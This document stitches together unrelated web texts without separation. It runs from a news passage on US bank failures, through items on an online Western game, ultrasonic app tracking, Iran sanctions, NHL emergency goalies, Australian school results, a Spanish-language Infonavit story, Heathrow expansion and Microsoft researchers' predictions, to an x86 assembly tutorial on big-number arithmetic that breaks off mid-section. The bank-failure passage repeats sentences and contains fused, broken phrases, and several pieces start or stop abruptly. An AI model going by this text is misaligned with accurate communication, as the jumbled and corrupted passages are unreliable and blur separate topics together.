bank" to take over the failed bank's operations and continue providing service to its roughly 450 bank customers, "to allow preexisting marketing efforts for the bank to continue." The agency estimated the cost to the insurance fund would be $68.4 million. Illinois regulators closedof Springfield, an institution that didn't take deposits from the public, instead focusing on providing various services to other banks, including the sale of loan participations. Before it was shut down by regulators, the management of Independent Bankers' Bank was trying to sell the institution. The FDIC formed a "bridge bank" to take over the failed bank's operations and continue providing service to its roughly 450 bank customers, "to allow preexisting marketing efforts for the bank to continue." The agency estimated the cost to the insurance fund would be $68.4 million.
Imperial Capital Bank The California Department of Financial Institutions shut down Imperial Capital Bank of La Jolla, which has $2.8 billion in deposits and $4 billion in total assets. The FDIC sold all of the failed bank's deposits for a small premium to City National Bank of Los Angeles, the main subsidiary of City National Corp. ( The California Department of Financial Institutions shut downof La Jolla, which has $2.8 billion in deposits and $4 billion in total assets. The FDIC sold all of the failed bank's deposits for a small premium to City National Bank of Los Angeles, the main subsidiary of CYN ). City National also agreed to acquire $3.3 billion of the Imperial Capital's assets, with the FDIC sharing in losses on $2.5 billion. Imperial Capital's nine branches were scheduled to reopen Monday as City National branches and the FDIC estimated the cost to its insurance fund would be $619 million. Ongoing Bank Failure Coverage All previous bank and thrift failures for 2008 and 2009 are detailed in TheStreet.com's interactive bank failure map: CLICK HERE FOR TABLE All previous bank and thrift failures for 2008 and 2009 are detailed ininteractive bank failure map: The bank failure map is color-coded, with states having the greatest number of failures highlighted in red, and states with no failures in grey. By hovering your mouse over a state you can see the combined 2008-2009 totals for each state. Then click the state top open a detailed map with pinpointing the locations and providing additional information for each bank failure. The bank failure map is color-coded, with states having the greatest number of failures highlighted in red, and states with no failures in grey. By hovering your mouse over a state you can see the combined 2008-2009 totals for each state. Then click the state top open a detailed map with pinpointing the locations and providing additional information for each bank failure. While there have been bank and thrift failures in 34 states during 2008 and 2009, four states have combined for more than half of that total: While there have been bank and thrift failures in 34 states during 2008 and 2009, four states have combined for more than half of that total: Georgia leads all states with 30 bank or thrift failures during 2008 and 2009, followed by Illinois and California with 22 each, and Florida with 16 failures. Large holding companies acquiring failed institutions during 2008 and 2009 have included J.P. Morgan Chase ( U.S. Bancorp ( SunTrust Banks ( Regions Financial ( Fifth Third Bancorp ( Zions Bancorp ( PNC Financial ( BB&T ( Large holding companies acquiring failed institutions during 2008 and 2009 have included JPM ), which acquired Washington Mutual, the largest-ever bank or thrift to fail in the U.S; USB ); STI ); RF ); FITB ); ZION ); and PNC ); and BBT ).See where the bad guys are to be found /
And make ’em lay down /
The defenders of the west /
Crushin’ on pretenders in the west /
Don’t mess with us ‘cuz we’re in the /
(Wild Wild West)
Thus spake eminent artiste William Smith in his most prestigious poem, “Wild Wild West”. You too can soon be a dusty lyricist by playing guns and horses MMO Wild West Online, which is entering early access on November 15, the developers have said.You may remember this western world because footage of it was briefly mistaken for that of Red Dead Redemption 2. That mix-up itself drew some interest in the MMO, I reckon, but this here wagon is packed with its own brand of beans, say developers 612 Games. Here’s what they say will greet early accessors:
Alpha players will find a large game map filled with varied environments, NPCs and other players. They will hunt, mine for gold, embark on quests and missions given by NPCs and participate in server wide public PVP events. Players will progress their character, unlocking new abilities and access to new and better gear. They can customize their character, upgrade their guns and trusty stead.
Sure sounds like an MMO. Do you crave figures? I have two figures. There will be 100 quests and 20 guns. There.
The full release is still scheduled for later this year, they say. And in future, players will be able to “embark on claiming land for themselves to create their own homestead”. They’ve also promised social activities like card games. Because the best place to play poker, after all, is within the confines of a complicated simulation of 1900s USA.Your phone may be sending out ultrasonic tones right now. Sounds the human ear can't pick up, but which other devices can.
A research team sponsored by the German government discovered more than 230 apps on Google's Android market that secretly tracked users through the use of ultrasonic audio. The so-called ultrasonic tracking beacons can help create intimate profiles of people, tying them to a slew of devices communicating with each other through the beacons.
Here's how it works: Let's say your friend's smart TV uses the beacon, and you watch that TV. When a beacon from your phone meets the one from the TV, advertisers tied to both learn a bit more about you — and your friend.
In a paper posted online by the researchers at Braunschweig University of Technology in Germany, the team wrote that they identified 234 Android apps "that are constantly listening for ultrasonic beacons in the background without the user's knowledge."
Four out of 35 stores the team visited in two European cities use the ultrasonic beacons to track shoppers, as well.
The researchers found coding from SilverPush, a San Francisco company that sells cross-device tracking software, on earlier versions of McDonald's and Krispy Kreme apps distributed in the Philippines, but "the functionality has already been removed by the developers," they said in an email to CBS News.
Google confirmed to CBS News that the apps discovered by the researchers have all either been suspended or updated to meet the company's privacy policies. In order for the use of ultrasonic beacons to be permissible on Android devices, app developers have to disclose to users that the apps will be using their cellphone microphones for that purpose.
While the use of ultrasonic beacons is not yet widespread, the paper notes that known instances of its use have grown from just six in April 2015, to the 234 identified by the German researchers.
"Our findings strengthen our concerns that the deployment of ultrasonic tracking increases in the wild and therefore needs serious attention regarding its privacy consequences," the researchers wrote.
Got news tips about digital privacy, social media or online marketing? Email KatesG@cbsnews.com, or for encrypted messaging, grahamkates@protonmail.com (PGP fingerprint: 4b97 34aa d2c0 a35d a498 3cea 6279 22f8 eee8 4e24).Congressional support for a new round of sanctions against Iran is growing, with a near filibuster-proof majority of senators now willing to approve fresh legislation, according to senior Senate aides.
There are no plans for Senate Majority Leader Harry M. Reid (D-Nev.) to allow a vote on any proposal in the near future, the aides said, but if a bill moves forward, it could complicate negotiations with Iran over its nuclear program.
The Obama administration has urged lawmakers not to impose new sanctions while the U.S. and five other world powers negotiate with Iran on a permanent deal to ensure that it cannot develop nuclear weapons. Two months ago, Iran agreed to freeze its nuclear program in exchange for temporary relief on some sanctions.
On Friday, Iran’s top nuclear envoy signaled that the text of an initial agreement was being circulated among the negotiating countries for further approval. In Geneva, Abbas Araghchi, Iran’s top nuclear envoy, told the official IRNA news agency that he expected countries to respond within two days about whether they accept the terms of an interim agreement; it would map out a six-month plan to be implemented while diplomats continue negotiating any final deal.
The White House fears that further sanctions could scuttle the temporary accord. But congressional support for imposing more sanctions remains strong and Sens. Robert Menendez (D-N.J.) and Mark Kirk (R-Ill.) have introduced a proposal to impose a new round of sanctions that would be applied if Iran backed away from an agreement. The measure would put further restrictions on Iran’s fuel purchases and certain sectors of the country’s economy.
Menendez, who chairs the Senate Foreign Relations Committee, and Kirk introduced the proposal late last year with 25 co-sponsors. On Thursday, Senate Minority Leader Mitch McConnell (R-Ky.) and Sens. Thad Cochran (R-Miss.), Mike Crapo (R-Idaho) and Richard C. Shelby (R-Ala.) joined a growing list of co-sponsors that numbered at least 59 by Friday afternoon, according to official Senate records of pending legislation.
Another Senate aide familiar with the talks said that a less formal tally has support among senators “in the mid-70s.”
Senate procedural rules require at least 60 votes to help end debate on legislation.
In an op-ed in The Washington Post on Friday, Menendez wrote that a diplomatic agreement that ends Iran’s nuclear weapons program remains his preferred result, but “backing up this achievement by taking out a diplomatic insurance policy is an act of reasonable pragmatism.”
Reid has avoided taking a public position on the issue and has not signaled whether a vote will be permitted. For weeks he has dodged questions about the topic, usually telling reporters to “check with Menendez on that.”You don’t want to learn their names.
You don’t want to hear from them — or perhaps even hear about them.
And, above all else, you don’t want to see any sign of these gents. Like, ever.
Because if you do?
Things for your favourite team have gone awry — seriously awry. Specifically, in net.
“It’s a last-resort safety valve,” says Brad Treliving, general manager of the Calgary Flames. “If it all goes to hell in a handbasket, you’ve got somebody.”
Somebody, in this case, is an emergency goalie, that lonely chap who spends evenings sequestered in the Saddledome press box.
Unless the starter gets hurt, and he winds up on the bench.
Unless the starter and the backup get hurt, and he winds up in net.
“We’re probably not jumping up and down with joy if they’re going in,” says Treliving. “Listen, it’s never going to be perfect. It’s a last-case scenario. The criteria — you want to make sure they’re capable.”
In exchange for back-pats and parking passes — “No retirement plan, no 401(k),” cackles Treliving — the three just-in-cases share the duties.
* Todd Ford, who was drafted by the Toronto Maple Leafs in 2002. The city firefighter — and coveted goalie coach — handles most of the shifts.
* Dan Dunn, who works for Timberwolf Environmental Services. Picked in 2007 by the Washington Capitals, he stays busy playing in the Rocky Mountain Petroleum and Heritage hockey leagues, plus tending the nets of the Innisfail (Senior AAA) Eagles.
* Curtis Honey, who’s a first-year player for the University of Calgary Dinos.
“It’s self-explanatory, getting a call like that,” says Honey, 21. “More exciting than anything … to show up to the rink, enjoy it, see what happens, cheer the Flames on. It’s not like there’s pressure or I’m dialing in a massive (game-day) routine. I’m just going to the rink with the chance that I might play.”
Adds Ford: “It’s a way to help out and a very cool experience at the same time. Kind of an honour, right?”
Their vantage point, high above the ice, may seem removed from the action, but they know they could be pressed into service. But as Dunn says: “The stars would really have to align.”
They nearly did Dec. 10.
Jonas Hiller was sick. Karri Ramo was sicker.
The former started. The latter spent the night in the video room, half-dressed, nibbling crackers and sipping soup — with Dunn, summoned from the press box, at his side. A No. 40 sweater, with his name on it, was hanging nearby. Tantalizingly close.
“I never got to put it on,” says Dunn, grinning. “But it’s pretty cool to see that. Some weird emotions come up. It’s in their best interests, obviously, to do everything they can to play those guys. They’re getting paid millions of dollars.”
A year ago, Florida Panthers starter Roberto Luongo got hurt. Then Al Montoya got hurt. Then goalie coach Robb Tallas slapped on some gear. However, Luongo rushed back to the rink, shucked his suit, put on his sweaty pads, and re-entered the contest. Hardly ideal.
Now NHL clubs have handy a spare puck-blocker, who is eligible to suit up for either side.
“The show must go on, right?” says Dunn, 27. “Someone in my position? You don’t really care which team it’s for. It’s just pretty cool.”
The Flames initiated their own policy last season after Ramo — kneed in the noggin by teammate Raphael Diaz — was lost for the night. That put Hiller on the ice, with no backup — and Brent Krahn, frantically hailed, sitting in the dressing room.
“Our little rigmarole,” says Treliving. “Any time you have injury or illness to your goaltender, it brings it to the forefront why you do it.”
Which is to have an experienced hand, and his equipment, on the premises.
It begs the question: how would they fare if deployed?
“I think I’d be OK,” replies Ford. “I’d be nervous, for sure, as anybody would if they haven’t been playing a tonne at that level. It would be quite the experience for whoever got to go in.”
Says Honey: “Very good question. It could go either way. Maybe I get in there and pucks just hit me. I could hold my own OK. I don’t think it would be a blowout, but I don’t think I’d be putting up a Ramo-like performance.”
For Ford and Dunn, moonlighting serves as a sweet career-capper.
Drafted in the sixth round in 2007, Dunn never signed with the Caps. After four years at St. Cloud State University, the Oshawa native joined the Rio Grande Valley Killer Bees, one of his three Central Hockey League pitstops in 2011-12.
“For a goalie, it’s tough — you’re a suitcase,” says Dunn. “If you’re not on an NHL contract … you’re just a space-filler. It’s a meat market. My fear — that you’d still be doing it into your 30s. You’d never have a home. Just load everything into my 2006 Altima and away you go, right?”
Dunn realized it was time for the next phase.
“It’s hard to let go, just because it’s all you know,” he says. “I was very fortunate, within three to six months, to be able to start to reinvent myself.”
Ford, too, discovered his own path.
Now he’s a full-fledged firefighter.
“Next to hockey, it’s the greatest job,” Ford says. “Put them side by side, it’s just like hanging out in the dressing room for the whole day with the guys … that kind of teammate-family atmosphere.”
Dunn, too, compares his current gig to the former one.
“Sales is a lot like athletics — you wake up every morning and it’s a fresh start,” says Dunn. “You’re going to win or lose today.”
Both, though, relish their association with the Flames.
“You’re still in the game, right?” says Ford. “You still feel like you’re part of hockey, without having it be your job. It’s Canada, right? We all grew up playing hockey.
“This is one way for me to be a part of hockey and still have it in my life.”
scruickshank@postmedia.com
Twitter.com/CruickshankCHEducation Minister responds to damning report, says he's open to importing specialist teachers
Posted
Education Minister Simon Birmingham has raised the prospect of importing more specialist maths and science teachers from overseas to address a long-term decline in high school student performance.
The South Australian senator acknowledged there was "clearly something wrong" in the education system after a global report found Australian 15-year-olds were getting worse at science, maths and reading.
The Program for International Student Assessment (PISA) report found Australia was significantly outperformed by nine countries including Japan, Canada and Singapore.
Senator Birmingham said previous efforts to improve student performance were failing and the Government's first priority was to improve teacher performance in classrooms.
"The single greatest in-school factor in terms of student accomplishment is absolutely the teacher," he told ABC Radio.
"Our number one focus has to always be teacher quality and ensuring that our hardworking teachers are given the skills in their training in the years and then the support through ongoing professional development to be the best."
The PISA report found students in the Northern Territory and Tasmania were performing below the OECD average and private and Catholic schools were outperforming public schools.
Last week, the 2015 Trends in International Mathematics and Science report found Australian performances had stagnated over 20 years with little change since 2015.
Senator Birmingham said he was willing to consider a special visa to ensure Australia had enough specialist maths and science teachers to address the decline.
"If we do need to get more specialist maths and science teachers into the classroom, that's a discussion I am very open to having," he said.
"I hope that states and territory ministers, who of course directly administer our school systems, will actually engage in constructive conversations with me about how we can work cooperatively to address this very serious decline in Australia's real performance across these key areas."
'More money not the answer'
Senator Birmingham said federal funding for schools had increased by 50 per cent since 2003 and extra funding alone would not solve the problem.
"We have consistently tipped more money into our school system over recent years — it has doubled in real terms since 1988," he said.
"This is significant extra funding in our schools [and] now is the time to focus on why it is we are not getting value for money in terms of our results.
"More money, in of itself, is not the answer."
Labor's education spokeswoman Tanya Plibersek said the report was "a very significant concern" as it showed Australian schools were going backwards in some areas.
She called for a more equitable school funding system and said the Coalition had cut $30 billion from schools in the 2014 budget.
"What we are missing is a proper needs-based funding system that directs extra funding to the kids who are falling behind," she said.
"What the PISA results show is a highly inequitable education funding system leading to highly inequitable results."
Ms Plibersek agreed declining performance could not be addressed by funding alone and accused Senator Birmingham of seeking to create a "school against school" argument.
"The central problem here is underfunded schools, particularly in remote and regional areas, particularly in poorer neighbourhoods, and everything this Government has done takes money away from those schools and undermines the reform agenda," she said.
Topics: government-and-politics, education, schools, australia[email protected]
El presidente Enrique Peña Nieto anunció que el Infonavit otorgará un histórico dividendo por 16 mil 300 millones de pesos a los 48 millones de derechohabientes, debido a la solidez financiera de la institución.
Al clausurar la 115 Asamblea del Infonavit, afirmó que con ese monto extraordinario, el rendimiento de la subcuenta de vivienda será mayor a lo esperado este año.
El desempeño financiero del Infonavit permitió que en los primeros cinco años de la presente administración federal se otorgaran 2.8 millones de créditos y para el próximo año se espera que la cifra ascienda a 3.3 millones, dijo el director de la institución, David Penchyna.
“Hoy podemos anunciar a todo México que romperemos la meta de la colocación de créditos en más de 16% sin subir la tasa de interés este año, más de mil 500 créditos que otorgamos todos los días”, dijo.
El funcionario explicó que con esas expectativas se alcanzará la colocación del crédito 10 millones en la historia de la institución, la cual tiene 45 años de existencia.
Responsabilidad y eficiencia. Ante líderes del Poder Legislativo, gobernadores, representantes de los sectores obrero y patronal y ex directores del Infonavit como Emilio Gamboa y Alejandro Murat, el presidente Enrique Peña Nieto dijo que “con responsabilidad y eficiencia” las instituciones están rindiendo buenas cuentas.
“Es el caso del Infonavit, también lo es del Seguro Social, de Pemex y de la Comisión Federal de Electricidad, que ahora tienen mejores finanzas y mejores prospectivas de desarrollo”, dijo, y estableció que el Infonavit “está más fuerte que nunca”.
El funcionaro manifestó que la solidez financiera del Infonavit permitió destinar 2 mil millones de pesos para la atención de derechohabientes afectados por los sismos de septiembre pasado, además de que pudo otorgar un donativo de 200 millones de pesos para la reconstrucción, principalmente para el municipio de Jojutla, Morelos.
Dinamismo en empleo. El Jefe del Ejecutivo destacó que de acuerdo con cifras del Seguro Social, en noviembre pasado se generaron 132 mil 317 nuevos puestos laborales, con lo que se han creado 3 millones 461 mil empleos en lo que va del sexenio.
“Esto es bueno para México, es bueno para las familias, es bueno para la juventud y las mujeres que están buscando oportunidad de desarrollo personal… hay que decirlo y hay que darle contexto a esta cifra de 3 millones 461 mil empleos, es prácticamente igual al total de empleos creados en los 12 años de las dos administraciones anteriores”, asentó.
Defender avances. En el evento, el presidente de la Confederación de Cámaras Industriales (Concamin), Manuel Herrera Vega, dijo que en la coyuntura que vive el país no hay espacio para la improvisación ni para la oferta de soluciones imposibles.
“Es mucho lo que se ha ganado, por lo tanto, es mucho lo que se puede perder. Defendamos los avances de los cuales hemos hablado y trabajemos todos en los retos que vamos a enfrentar”, estableció y dejó claro que el futuro del país está cimentado en sus instituciones.
En representación de los empresarios, Herrera Vega dijo que en este momento “es fundamental” reconocer todo lo bueno que se ha hecho en el país e igual de importante trabajar con determinación en resolver todo lo que se puede mejorar.Anemic US jobs report shows growth in long-term unemployed
By Andre Damon
8 March 2014
The US economy added 175,000 jobs in February, barely enough to keep up with |
more interested in the idea, and certainly supportive of the notion, and if my [getting] married would help the notion in general, even that would be enough to make me want to do it,” he said.
Parsons and Spiewak, a graphic designer, have been together for over 14 years. Last November, the 44-year-old star shared an Instagram photo on the couple’s anniversary and gushed about Spiewak in the caption.
“I met this guy (the one with the mic) 14 years ago today and it was the best thing that ever happened to me, no contest,” Parsons wrote. “One of his greatest gifts to me is that he no longer takes me to sing karaoke. Also, I believe this was a selfie with an actual camera, as our phones couldn’t do that back then hahaha! #todd #anniversary.”Quote:
Gaia Project is a new game in the line of Terra Mystica. Fourteen different factions live on seven different kinds of planets, and each faction is bound to their own home planets, so to develop and grow, they must terraform neighboring planets into their home environments in competition with the other groups. In addition, Gaia planets can be used by all factions for colonization, and Transdimensional planets can be changed into Gaia planets.
All factions can improve their skills in six different areas of development — Terraforming, Navigation, Artificial Intelligence, Gaiaforming, Economy, Research — leading to advanced technology and special bonuses. To do all of that, each group has special skills and abilities.
The playing area is made of ten sectors, allowing a variable set-up and thus an even bigger replay value than its predecessor Terra Mystica. A two-player game is hosted on seven sectors.
Quote:
Ladder 29 is a hot game of ladder-climbing firefighters. As experts in the time-honored business of firefighting, players attempt to extinguish their hand of cards while facing difficult challenges that hinder their abilities and choices. Players must decide when to play it safe and when to put it all on the line in this easy-to-learn game that is sure to turn up the heat around the gaming table!
Ladder 29 is played over several rounds in which players are dealt 13 cards each, pass three cards to the player on the left, then in reverse scoring order select a Hot Spot Card; this card details the number of points awarded depending on the position the player goes out and a challenge that applies only to that player for the round. A player may choose to only lead singles, end runs in even numbers, or even limit the types of suits played in sets. The bigger the risk taken, the bigger the potential reward.
The first player to extinguish their hand by playing all thirteen cards wins the round and earns the most points possible on their Hot Spot Card. Play continues until additional players go out, with all except the one who goes out last earning points for their finishing position.Image copyright AFP
It looks like the major decision on whether to build a new runway at Heathrow or Gatwick is going to be delayed for at least six months.
Senior sources very close to the process have told the BBC that there needs to be more "confidence building" about the environmental impact of a new runway at Heathrow, if the government backs it.
And that means yet another review.
And that expansion at Gatwick will not be ruled out.
One source told me that keeping both options on the table means that the airport operators can have their feet "held to the fire" over dealing with environmental concerns.
That may mean demanding that Heathrow bans staff from driving to work.
Or saying that all "airside" vehicles (that is vehicles that operate within the airport's perimeter) have to be electric.
The government also wants to be able to force more money out of Heathrow or Gatwick - if either are given the go-ahead - to pay compensation to local people who are affected.
Keeping both options on the table increases the government's leverage.
'Barrage of criticism'
The decision that there will be yet another delay is likely to go down very badly with businesses which have demanded that the government "get on" with expanding Britain's aviation capacity.
But the politics of this decision appears to have held sway.
David Cameron is still concerned that any decision to back Heathrow will put his "no ifs, no buts" pledge in 2009 that there will be no third runway at Heathrow in sharp relief.
And that he will face a barrage of criticism that he is not a man of his word.
Further, if a decision is not taken until next summer, that means it will come after the election for the next mayor of London, which is in May.
Which is convenient, given that the Conservative candidate, Zac Goldsmith, is implacably opposed to Heathrow expansion.
As is the Labour candidate, Sadiq Khan.
More delays
The decision on the new environmental review is set to be taken by the Economic and Domestic Cabinet sub-committee on Thursday, which the prime minister chairs.
And it's likely to be announced on the same day.
Of course, we are still three days away from that committee meeting and, as with all things Heathrow (and, frankly, government on issues of aviation policy) things could change. The meeting was initially due to be held last week but was derailed by the crisis in Syria.
It was only a week ago that most were predicting a favourable outcome for Heathrow, including the airport itself.
That now appears to have been over-optimistic. More delays are ahead.Search as people presently know it – a dialog box for typed queries – will vanish in a decade, according to Susan Dumais, distinguished scientist and deputy managing director of Microsoft Research Lab.
Dumais is one of 17 Microsoft researchers who, in a blog post on Monday, offered predictions about technology developments we should expect next year and a decade hence.
Microsoft's group of futurists is exclusively female, which represents an effort to counter the underrepresentation of women in computing fields, according to the company.
By 2027, the search box will disappear, Dumais insists. "It will be replaced by search functionality that is more ubiquitous, embedded and contextually sensitive. We are seeing the beginnings of this transformation with spoken queries, especially in mobile and smart home settings."
But don't write off Google, or Bing for that matter, prematurely. Search queries in ten years will incorporate sound and images and will include contextual information like location and activities, Dumais suggests.
The Register expects that in open offices, in public, and in multiperson households, people will continue to type their queries rather than broadcasting their interest in embarrassing medications or otherwise sensitive search terms to those within earshot.
Jennifer Chayes, distinguished scientist and managing director for Microsoft's New England and New York City research labs, foresees advances in dealing with algorithmic discrimination. "One of the great algorithmic advances of the next decade will be the development of algorithms which are fair, accountable, and much more robust to manipulation," she said.
Given the current political climate and recorded human history, however, it seems likely that those in power will find ways to bend even the most fair and balanced algorithms to their desired ends.
Mar Gonzalez Franco, a researcher with Microsoft Research's New Experiences and Technologies group, believes virtual reality systems will move beyond visual and auditory stimulation to tactile feedback through haptics (interaction involving touch).
"By 2027 we will have ubiquitous virtual reality systems that will provide such rich multisensorial experiences that will be capable of producing hallucinations which blend or alter perceived reality," Franco said.
Among the half of American workers making $30,000 or less annually, those interested in hallucinations will probably favor head shops over headsets.
Mary L Gray, senior researcher at Microsoft Research, a Fellow at Harvard University’s Berkman Klein Center for Internet and Society, and associate professor at Indiana University, sees about 30 per cent of US adults doing some form of gig work tied to AI-driven goods or services by 2027. Because consumers may not understand that people play a part in these businesses, she sees social science playing a role to develop technologies and public policy to provide necessary benefits for these gig workers.
That future is already here. According to the US Bureau of Labor Statistics, 53 million Americans – 1 in 3 workers – earn income from the freelance or gig economy. AI may not play a role in much of gig work presently, but doubtless its role will become more prominent. Regardless, the more salient question is why full-time employment is declining and whether it must be so.
Nicole Immorlica, senior researcher at Microsoft's New England research lab, describes a world in which a person's value is measured by Facebook interaction and location data trails: "By 2027, automation will give rise to a new economy in which most people's societal contribution comes from the data they generate as they go about their lives rather than the work they do," she predicts.
"Economists will be talking about ways to fairly compensate people for these contributions. This will most probably involve heavier redistribution of wealth through mechanisms such as taxes or social programs."
But social data-based businesses only work because people are not fairly compensated for their contributions. If Google or Facebook paid people for the true value of their digital work – creating web links as votes for site relevance or sharing and commenting on content made by others – neither company would have become a profitable business.
Olya Ohrimenko, a researcher with Microsoft Research in Cambridge and Microsoft Fellow at Cambridge University's Darwin College, sees privacy improvements by 2027. "Advances in hardware and cryptography will lift data privacy guarantees to a new level: Only an encrypted form of our personal data will be used in medical and administrative analyses, machine learning algorithms and our daily online activities," she contends.
Try to imagine this after reading Bloomberg's account of how federal law enforcement and intelligence agencies are expected to gain broader surveillance powers next year.
Various other Microsoft researchers offer anodyne forecasts of a future made better by technology. We hope things turn out so well. But don't count on it.
Consider these optimistic but incorrect predictions about the year 2000 from science fiction writer Robert Heinlein, from the February, 1952 edition of science fiction magazine Galaxy.
"Interplanetary travel is waiting at your front door – C.O.D. It's yours when you pay for it."
It's yours if your name was Dennis Tito and you paid $20 million for a ride into space in 2001. It's 2016 and Virgin Galactic has yet to make a commercial flight.
"It is utterly impossible that the United States will start a 'preventive war.'"
Yet, the US invaded Iraq in 2003, ostensibly to prevent the use of weapons of mass destruction.
"In fifteen years the housing shortage will be solved by a 'breakthrough' into new technologies which will make every house now standing as obsolete as privies."
San Francisco's housing shorting hasn't been alleviated by new technology. Rather, the pursuit of breakthrough technology, having drawn more people to the Bay Area than the region can accommodate, in conjunction with resistance to development, has caused a housing shortage.
Heinlein also got some things right or nearly: "Your personal telephone will be small enough to carry in your handbag. Your house telephone will record messages, answer simple inquiries, and transmit vision."
The iPhone debuted in 2007.
Xiaoyan Sun, a scientist with Microsoft Research Asia, anticipates that computer vision, coupled with machine learning, will become ubiquitous by 2027. "Advances in these techniques will lead to ubiquitous vision 'eyes' that can'see' and empower humans in daily life and all kinds of professions, from manufacturing and healthcare to finance and security," she said.
At least our machines have something to look forward to. ®Working with Big Numbers Using x86 Instructions
" Big number " arithmetics requires special care on x86 architecture. You need to use some properties of arithmetic instructions, which are not immediately apparent.
I expect reader to understand binary representation of numbers, basics of binary arithmetics, and hexadecimal number notation.
Big numbers are numbers that consists of more bits than machine word contains. For example 1024-bit number is considered big number. Usually, size of big number is multiple of size of machine word, so we can say big number consists of multiple machine words.
Processor doesn't have instructions for direct manipulation with big number, but it provides instructions that can manipulate with machine words, which are part of big number.
I will provide examples for x86-32, where size of machine word is 32 bits. When I will refer to machine word, I mean 32-bit number, even though it is customary to refer to 32-bit number as double word or dword on x86.
Before continuing, download Intel Manual Volume 2 (2A and 2B), which contains instruction set reference. We will use it through the article.
Layout of Big Numbers
As I stated previosly, big numbers usually consist of several machine words.
Ordering of machine words within big number is a problem similar to ordering bits within single machine words. There are two possibilities: either the most significant word comes first (analogous to big endian) or the least significant word comes first (analogous to little endian). The x86 architecture uses little endian for bit order within machine word, and we will use it for order of machine words in this examples too. There is no practical advantage in either way, it is only matter of agreement.
For example 64-bit number with value 1, would consists of dword with value 1 followed by dword with value 0.
dd 1 ;low order dword dd 0 ;high order dword
A 96-bit number containing (hexadecimal) value 0x0102030412345678ABCDEF00 would be:
dd 0xABCDEF00 ;low order dword dd 0x12345678 dd 0x01020304 ;high order dword
Addition
First operation we will demonstrate is addition. Look up add instruction in manual.
We will start with adding value 1 to 96-bit number bignum (3 dwords). We simply add 1 to low order (first) dword:
bignum dd 15 dd 0 dd 0... add dword [bignum], 1
There is a problem with this though. If low order number contains value 0xFFFFFFFF, then it will overflow to 0 after adding number. We must then add 1 to higher dword. We say that we carry 1 from lower dword to higher dword in case of overflow.
How to detect overflow? When add causes overflow, it sets CF (carry flag). This is one way:
add dword [bignum], 1 jnc done add dword [bignum+4], 1 done:
Still, same thing can happen during second addition. If first two dwords contained value 0xFFFFFFFF, then we must carry 1 to third dword:
add dword [bignum], 1 jnc done add dword [bignum+4], 1 jnc done add dword [bignum+8], 1 done:
If last add overflows, then entire operation on big number has overflown. Depending on what we use bignum for, we can ignore or signal this error:
add dword [bignum], 1 jnc done add dword [bignum+4], 1 jnc done add dword [bignum+8], 1 jc overflow done:
There is also a "nicer" way. We have adc instruction, which does same as add, and if CF is set, then it adds extra 1 to destination. We use it like this:
add dword [bignum], 1 adc dword [bignum+4], 0 adc dword [bignum+8], 0
First add does the addition, and sets CF is overflow occured. Following adc does nothing if CF is 0 (no overflow during first operation), or adds 1 to second dword if CF is 1. It also sets CF if overflow occurs, or clears it if no overflow happened, just like add. Another adc does same thing as first one.
We can use this way for adding any value, not just 1. No more than one bit ever needs to be carried during addition (0xFFFFFFFF + 0xFFFFFFFF = 0x1FFFFFFFE). Following is generic algorithm that adds EAX to big number pointed by EDI :
add dword [edi], eax adc dword [edi+4], 0 adc dword [edi+8], 0
We can also add numbers bigger than 32 bits, by using adc to add to higher dwords. This example adds 0x12345678AABBCCDD to bignum:
add dword [edi], 0xAABBCCDD adc dword [edi+4], 0x1234567 adc dword [edi+8], 0
This way, we can add big numbers together. This example adds 128-bit (4 dword) bignum1 to bignum2 :
mov eax, dword [bignum1] add dword [bignum2], eax mov eax, dword [bignum1+4] adc dword [bignum2+4], eax mov eax, dword [bignum1+8] adc dword [bignum2+8], eax mov eax, dword [bignum1+12] adc dword [bignum2+12], eax jc overflow
Subtraction
Subtraction is analogous to addition, we just use sub and sbb instructions. In this case, we say that we borrow 1 from lower dword to higher dword in case of overflow.
mov eax, dword [bignum1] sub dword [bignum2], eax mov eax, dword [bignum1+4] sbb dword [bignum2+4], eax mov eax, dword [bignum1+8] sbb dword [bignum2+8], eax mov eax, dword [bignum1+12] sbb dword [bignum2+12], eax jc underflow
Negation
Interesting problem is how to negate big number. We have neg instruction, but it doesn't work with big numbers so easily. That's why we will start with method which we already know - subtraction. We will simply subtract big number from 0:
mov eax, 0 sub eax, dword [bignum] mov dword [bignum], eax mov eax, 0 sbb eax, dword [bignum+4] mov dword [bignum+4], eax mov eax, 0 sbb eax, dword [bignum+8] mov dword [bignum+8], eax
Negation can be also performed by inverting all bits (0->1, 1->0), and then add 1 to it. I won't explain why, it can be task for reader. You need to understand how are negative numbers represented in x86 architecture.
To invert all bits, we have not instruction. Adding 1 to big number already was described. So negating big number looks like this:
not dword [bignum] not dword [bignum+4] not dword [bignum+8] add dword [bignum], 1 adc dword [bignum+4], 0 adc dword [bignum+8], 0
After understanding this, as a bonus, we can explain how to use neg instruction directly to negate big number. As we already know, neg first inverts all bits, and then adds 1 to result. So we negate first (low order) dword. If value of dword before negating is 0, after inverting bits it becomes 0xFFFFFFFF, and after adding 1 it is 0 again. But this is also only case when addition needs to be carried to upper dword, and only case when neg sets CF. In all other cases, CF is clear, and other dwords need to be just bit-inverted. In practice, code to do this is not particulary nice:
neg dword [bignum] jnc not1 neg dword [bignum+4] jnc not2 neg dword [bignum+8] jmp done not1: not dword [bignum+4] not2: not dword [bignum+8] done:
Bitwise Shifting
Bitwise shifting is sometimes useful for big numbers (for example when they are used as floating point numbers).
First we will shift by 1 bit.
When we want to bitwise shift ordinary (not big) number, we use shl and shr instructions. When we use them to shift by 1, bit that is shifted out of number is saved in CF. Problem is then, how to shift this bit into next dword.
In this case, we can use rcl and rcr instructions. They "rotate" number "through" CF. When they are used to rotate by 1, they shift number, insert CF as new bit, and then save bit which comes out in CF. Look these up in manual. This is how rotation looks then:
;shift left shl dword [bignum], 1 rcl dword [bignum+4], 1 rcl dword [bignum+8], 1 jc overflow ;shift right shr dword [bignum+8], 1 rcr dword [bignum+4], 1 rcr dword [bignum], 1 jc overflow ;often not needed
Shifting becomes interesting when we want to shift by more than 1 bit. In this case, we need to carry more bits between dword operations. A 386 provided useful instructions to do this, shld and shrd. They shift number like shl and shr / sar, but insert bits from another operand instead of using fixed value.
Shifting right:
mov eax, [bignum+4] shrd [bignum], eax, 5 mov eax, [bignum+8] shrd [bignum+4], eax, 5 shr [bignum+8], 5
Shifting left:
mov eax, [bignum+4] shld [bignum+8], eax, 5 mov eax, [bignum] shld [bignum+4], eax, 5 shl [bignum], 5
Testing for overflow is trickier in this case. We need to test if upper/lower N bits are all zero before shifting. For constant value (like 5), we can use mask:
Shifting right:
